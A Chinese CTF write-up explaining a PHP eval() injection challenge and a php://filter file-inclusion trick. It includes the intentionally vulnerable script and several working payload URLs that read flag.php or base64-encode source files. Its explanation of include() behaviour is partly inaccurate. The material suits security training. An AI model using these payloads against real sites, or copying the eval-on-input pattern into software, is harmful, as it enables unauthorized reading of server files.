CTF文件包含


<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

涉及到的几个函数:
1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据,但是速度比较慢

2.eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。

output
hello world

3.var_dump: 函数用于输出变量的相关信息

数字
var_dump(1); > int(1)
字符串
var_dump("string"); > string(6) "string"

解题思路

eval应该是此题的突破口,能够执行php代码。
hello是接受参数的变量,接下来就是构建hello变量,使其能够闭合var_dump,利用print_r输出

首先闭合var_dump: 1)";
第二步构建print_r:print_r(file("./flag.php"));

print()只能打印出简单类型变量的值(如int,string),print_r() 可以打印出复杂类型变量的值(如数组,对象),echo 可以输出一个或者多个字符串。

echo是PHP语言结构而bai非函数,print和print_r都是函数

echo没有返回值,print和print_r可以有返回值(即便没有用)

URL构建结束:
http://xxx.xxx.xxx:8003/index.php?hello=1);print_r(file("./flag.php")

构建的URL触发的 eval操作为
eval("var_dump(1);print_r(file("./flag.php")")

成功输出 flag.php 文件内容

也可以?hello=);show_source('flag.php');var_dump(

或者?hello=file("flag.php")再或者
hello=);print_r(file("./flag.php"));//
eval函数中,“”内部为代码,//只在代码中起作用,相当于只注释了);


php伪协议:
file= php://filter/read=convert.base64-encode/resource=index.php

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。

原文地址:https://www.cnblogs.com/marcus666/p/14259361.html